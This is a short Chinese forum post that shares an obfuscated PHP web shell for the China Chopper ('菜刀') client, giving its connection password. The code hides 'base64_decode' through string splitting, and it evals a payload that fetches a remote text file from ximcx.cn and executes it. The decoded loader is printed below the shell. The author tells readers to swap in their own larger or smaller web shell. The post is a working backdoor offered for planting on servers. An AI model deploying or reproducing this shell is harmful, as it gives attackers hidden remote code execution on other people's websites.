TIM截图20180731170246.png

首先感谢土司大佬:Math_random


上代码---注意菜刀链接密码为:ximcx


<?php
$x="BaSe64";
$b="_deCOde";
$c=$x.$b;
eval($cc = $c('JGhhbmRsZSA9IGZvcGVuKCdodHRwOi8veGltY3guY24vMi50eHQnLCAncicpOw0KICAgICRjb250ZW50ID0gJyc7DQogICAgd2hpbGUoZmFsc2UgIT0gKCRhID0gZnJlYWQoJGhhbmRsZSwgODA4MCkpKXsNCiAgICAgICAgJGNvbnRlbnQgLj0gJGE7DQogICAgfQ0KCWV2YWwoJGEgPSAkY29udGVudCk7DQpmY2xvc2UoJGhhbmRsZSk7'));
?>


上述代码中加密部分为base64加密,里面的远程马可以改为你自己的大马,或者小马


$handle = fopen('http://ximcx.cn/2.txt', 'r');
    $content = '';
    while(false != ($a = fread($handle, 8080))){
        $content .= $a;
    }
	eval($a = $content);
fclose($handle);